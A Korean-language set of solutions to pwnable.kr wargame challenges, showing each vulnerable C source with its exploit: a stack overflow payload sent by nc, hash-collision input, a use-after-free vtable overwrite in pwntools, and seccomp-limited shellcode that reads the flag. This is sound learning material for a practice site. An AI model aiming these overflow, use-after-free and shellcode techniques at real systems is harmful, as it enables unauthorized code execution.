fd
소스
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}풀이
소스를 분석하면 argv[1]은 숫자라는 힌트가 있고, buf 안의 문자열이 "LETMEWIN\n"이면 flag를 출력한다.
ssize_t read (int fd, void *buf, size_t nbytes)fd로 buf에 입력을 받는다. 여기서 fd는 file descriptor로 stdin=0, stdout=1, stderr=2이다.
stdin은 0이므로 fd를 0으로 만들면 표준 입력으로 읽게 된다. fd = atoi(argv[1]) - 0x1234이므로 argv[1]을 0x1234(=4660)로 주면 fd = 0이 된다.
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)collision
소스
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}풀이
argv[1]의 길이는 정확히 20바이트여야 하고, check_password 함수의 리턴값이 hashcode와 같아야 flag가 출력된다.
해시코드는 0x21DD09EC(= 568,134,124)이며, 입력 p를 4바이트씩 5번 더해서 반환한다.
568,134,124 / 5 = 113,626,824.8 ...
정확히 5로 나누어지지 않으므로 나머지를 처리해야 한다:
568,134,120 / 5 = 0x6C5CEC8(113,626,824) 를 4번 입력하고, 마지막에 0x6C5CEC8 + 4를 입력한다.
col@pwnable:~$ ./col $(perl -e 'print "\xc8\xce\xc5\x06"x4, "\xcc\xce\xc5\x06"')
daddy!bof
소스
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}풀이
➜ pwnable checksec --file bof
[*] '/home/ubuntu/ctf/pwnable/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
gef➤ x/40xw $esp
0xffffd540: 0xffffd55c 0x00000000 0x00000000 0x6cedb400
0xffffd550: 0x00000009 0xffffd784 0xf7e1c0a9 0x41414141
0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd570: 0x41414141 0x41414141 0x41414141 0x6cedb400
0xffffd580: 0x00000000 0xf7e1c1db 0xffffd5a8 0x5655569f
0xffffd590: 0xdeadbeef 0x00000000 0x565556b9 0x00000000
0xffffd5a0: 0xf7fc1000 0xf7fc1000 0x00000000 0xf7e04e9스택을 분석하면 key 파라미터가 0xdeadbeef로 저장되어 있다. 버퍼부터 key까지의 오프셋을 채워 key를 0xcafebabe로 덮어쓰면 된다.
페이로드:
buf[32] | Dummy[20] | 0xcafebabe➜ pwnable (perl -e 'print "A"x32, "B"x20, "\xbe\xba\xfe\xca"';cat)| nc pwnable.kr 9000
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)flag
바이너리 분석
➜ pwnable checksec --file flag
[*] '/home/ubuntu/ctf/pwnable/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX풀이
UPX로 패킹되어 있으므로 먼저 언패킹한다:
➜ pwnable upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag
Unpacked 1 file.IDA로 main 함수를 분석하면:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}strcpy의 소스가 flag 전역 변수이다. GDB로 rax(malloc 반환값)를 확인하면 flag가 보인다:
gef➤ x/s $rax
0x6c96b0: "UPX...? ----- -------------------"mistake
소스
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}else{ printf("Wrong Password\n");}
close(fd);
return 0;
}풀이
소스를 분석하면 open 함수로 password 파일을 읽어와 입력 버퍼 buf2와 비교해 같으면 flag를 출력한다.
소스는 별 이상이 없어 보이지만 첫 번째 if문에 트릭이 있다:
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){연산자 우선순위 문제다. < 비교 연산자가 = 대입 연산자보다 우선순위가 높으므로, open() 반환값과 0을 먼저 비교한 후 그 결과(0 또는 1)가 fd에 대입된다.
즉 fd는 파일 디스크립터가 아닌 비교 결과 0이 된다. fd=0이면 read(fd, pw_buf, PW_LEN)은 stdin에서 읽는다. 따라서 우리가 pw_buf에 원하는 값을 직접 입력할 수 있다.
그 후 pw_buf2도 입력받아 XOR key 1로 변환한다. pw_buf와 pw_buf2를 XOR 1 관계로 맞추면 된다. 예를 들어 pw_buf에 0000000000을 넣으면 pw_buf2에 넣어야 할 값은 모두 XOR 1이 적용된 후 0000000000이 되어야 하므로, 1111111111을 입력한다.
leg
개요
leg 문제는 C 소스와 ARM 어셈블리를 함께 제공하며, 세 함수의 리턴값 합계를 계산하도록 요구한다. 핵심은 ARM의 파이프라인 동작과 명령어 페치 단계에서 PC(프로그램 카운터) 값이 어떻게 계산되는지 이해하는 것이다.
취약점 분석
문제 소스 코드는 key1 + key2 + key3 == key를 확인한다:
unsigned long key1(){
asm("mov r3, pc\n");
asm("mov r0, r3\n");
asm("bx lr\n");
}각 함수의 어셈블리를 분석하면:
key1: 페치 단계의 PC
mov r3, pc 명령이 PC 값을 캡처한다. ARM의 3단계 파이프라인(fetch-decode-execute) 때문에, 이 명령이 execute 단계에 있을 때 PC는 두 명령 앞을 가리킨다. 주소 0x8ce0에서 실제로 읽히는 PC 값은 0x8ce4이다.
key2: PC + 4
unsigned long key2(){
asm("mov r3, pc\n");
asm("add r3, #4\n");
asm("mov r0, r3\n");
asm("bx lr\n");
}0x8d08에서 PC를 읽으면 파이프라인 효과로 0x8d0c이고, 여기에 4를 더해서 0x8d10이 된다.
key3: 링크 레지스터
unsigned long key3(){
asm("mov r0, lr\n");
asm("bx lr\n");
}LR(Link Register)은 호출자가 설정한 리턴 주소를 담는다. main 함수에서 이 값은 0x8d80이다.
풀이
세 키 값은:
key1 = 0x8ce4key2 = 0x8d0ckey3 = 0x8d80
합계: 0x8ce4 + 0x8d0c + 0x8d80 = 0x1a770 = 108400
$ ./leg 108400
Congratz!핵심 이해:
- ARM 파이프라인의 fetch → decode → execute → write 단계
- execute 단계에서 PC를 읽으면 fetch 단계(2 명령 앞)를 가리킴
- 따라서 정적 위치에서 런타임 파이프라인 위치로의 조정이 필요
passcode
개요
passcode 문제는 scanf() 사용 시 주소 연산자(&)를 누락한 치명적인 취약점을 보여준다. 이 취약점으로 임의 메모리 쓰기가 가능하다.
취약점 분석
login 함수는 두 개의 정수 입력을 기대한다:
void login(){
int passcode1, passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // 버그: & 누락
printf("enter passcode2 : ");
scanf("%d", passcode2); // 버그: & 누락
}올바른 scanf 사용법은 포인터를 넘겨야 한다:
scanf("%d", &passcode1); // 올바른 사용& 연산자를 생략하면 scanf가 변수의 값 자체를 메모리 주소로 간주하고 그 주소에 쓴다. 이것이 임의 쓰기 프리미티브가 된다.
익스플로잇 전략
name버퍼가passcode1과 인접하므로 name 입력으로passcode1의 값을 원하는 GOT 주소로 설정scanf가 해당 주소에 원하는 값을 쓰도록 유도fflush@GOT또는 원하는 함수의 GOT 엔트리를system()호출 주소로 덮어쓰기- 셸 획득
$ ssh passcode@pwnable.kr
[passcode@pwnable.kr ~]$ ./passcode
Authenticate :
enter passcode1 : (조작된 값 입력)
enter passcode2 : (조작된 값 입력)
correct! here's your flaghorcruxes
개요
horcruxes 문제는 ROP(Return-Oriented Programming) 체인을 구성해 보호 기법을 우회하고 코드 실행을 달성하는 문제다.
문제 구조
바이너리는 a~g까지 7개의 horcrux 함수를 가지고 있으며, 각 함수에서 XP 포인트를 얻어야 한다. 모든 XP를 합산해 특정 값과 일치해야 flag를 얻을 수 있다.
익스플로잇 전략
1단계: 스택 오버플로 확인
입력 버퍼를 오버플로해 리턴 주소를 제어한다. ASLR이 걸려 있으므로 먼저 주소를 누출해야 한다.
2단계: ROP 체인 구성
각 horcrux 함수를 순서대로 호출하는 ROP 체인을 구성한다:
from pwn import *
p = remote('pwnable.kr', 9032)
# 스택 오버플로로 리턴 주소 제어
# 각 horcrux 함수(a~g)를 순서대로 호출
# 마지막으로 XP 합계를 계산해 플래그 획득ROP(Return-Oriented Programming) 개념:
ret명령으로 끝나는 기존 코드 시퀀스(가젯)를 활용- 가젯을 연결해 임의 코드 실행 달성
- NX(비실행 스택)가 활성화된 환경에서도 동작
Input
소스
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}풀이
5단계가 있고 모두 충족하면 flag를 출력한다.
Stage 1: argc는 100개, argv[0x41]에는 \x00, argv[0x42]엔 \x20\x0a\x0d가 있어야 한다.
subprocess로는 \x00이 들어가면 인식이 되지 않는 문제가 있어 pwntools를 사용했다.
from pwn import *
import os
# stage 1
argv = [str(i) for i in range(100)]
argv[ord('A')]="\x00"
argv[ord('B')]="\x20\x0a\x0d"전체 풀이:
from pwn import *
import os
# stage 1
argv = [str(i) for i in range(100)]
argv[ord('A')]="\x00"
argv[ord('B')]="\x20\x0a\x0d"
# stage 2
#stdin \x00\x0a\x00\xff
#stderr \x00\x0a\x02\xff
with open("./stderr", "w") as data:
data.write("\x00\x0a\x02\xff")
# stage 3 env(\xde\xad\xbe\xef) = "\xca\xfe\xba\xbe"
env = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
# stage 4 open \x0a
with open("\x0a", "w") as data:
data.write("\x00\x00\x00\x00")
# stage 5 send "\xde\xad\xbe\xef" port argv['C']
argv[ord('C')]='55555'
p = process(executable="./input", argv=argv, stderr=open("./stderr"),env=env)
p.sendline("\x00\x0a\x00\xff")
p = remote("localhost", 55555)
p.send("\xde\xad\xbe\xef")
p.interactive()uaf
소스
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
/*
mov rax,QWORD PTR [rbp-0x38]
mov rax,QWORD PTR [rax]
add rax,0x8
mov rdx,QWORD PTR [rax]
mov rax,QWORD PTR [rbp-0x38]
mov rdi,rax
call rdx
*/
w->introduce();
/*
mov rax,QWORD PTR [rbp-0x30]
mov rax,QWORD PTR [rax]
add rax,0x8
mov rdx,QWORD PTR [rax]
mov rax,QWORD PTR [rbp-0x30]
mov rdi,rax
call rdx
*/
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
/*
mov rbx,QWORD PTR [rbp-0x38]
test rbx,rbx
je 0x40108f <main+459>
mov rdi,rbx
call 0x40123a <Human::~Human()>
mov rdi,rbx
call 0x400c80 <operator delete(void*)@plt>
*/
delete w;
/*
mov rbx,QWORD PTR [rbp-0x30]
test rbx,rbx
je 0x4010a8 <main+484>
mov rdi,rbx
call 0x40123a <Human::~Human()>
mov rdi,rbx
call 0x400c80 <operator delete(void*)@plt>
*/
break;
default:
break;
}
}
return 0;
}풀이
처음 접하는 UAF(Use-After-Free) 문제다.
- CASE 1: 객체의
introduce함수 호출 (Use) - CASE 2: 새 객체 할당 (Alloc)
- CASE 3: Free
이번에 좋은 분석 방법을 알게 됐다 — 코드에 어셈을 주석으로 넣어 분석을 더 명확하게 하는 것이다.
힙을 쓰고 재사용하려면 어떻게 해야 할까? Free 후 바로 Use하면 에러가 난다. Free → Alloc → Use 순서여야 하는데, give_shell을 실행하려면 무엇을 Alloc해야 할까?
문제에서 사용하는 virtual 메소드는 vtable에 들어가는데, vtable의 시작 위치를 변조해 give_shell로 리다이렉트하면 된다.
+-Object------+ +-vtable--------------+
| *vtable +--?-->| virtual function #1 |
+-------------+ | virtual function #2 +----> give_shell()
| member | +---------------------+
| ... |
+-------------+use 명령의 어셈 코드에서 add rax, 0x8이 있으므로 give_shell - 0x8 위치를 vtable 포인터로 넣어야 한다.
Man과 Woman 두 객체가 있으므로 Alloc을 2번 해야 한다.
from pwn import *
size = 24
path = "/tmp/uaf_file"
data = p64(0x401588)*3
with open(path, "wb") as f:
f.write(data)
p = process(["uaf", str(size), path])
if __name__ == "__main__":
p.sendline("3")
p.sendline("2")
p.sendline("2")
p.sendline("1")
p.interactive()asm
소스
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
// ...
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
// ...
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2...";
// 모든 레지스터를 초기화하는 x64 셸코드
int main(int argc, char* argv[]){
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn");
sandbox();
((void (*)(void))sh)();
return 0;
}풀이
seccomp 샌드박스가 적용되어 open, read, write, exit, exit_group 시스템 콜만 허용된다.
stub 셸코드는 모든 레지스터를 XOR로 초기화한다. 우리의 셸코드는 stub 이후에 이어진다.
flag 파일명이 매우 길기 때문에 db "string" 방식 대신 직접 레지스터에 한 바이트씩 넣고 push하는 방식을 사용해야 했다.
pwntools를 사용하면 간단하게 구성할 수 있다:
from pwn import *
context(arch='amd64', os='linux')
filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
shellcode = ''
shellcode += shellcraft.pushstr(filename)
shellcode += shellcraft.open('rsp', 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
r = remote('pwnable.kr', 9026)
print r.recvuntil("give me your x64 shellcode:")
r.sendline(asm(shellcode))
r.interactive()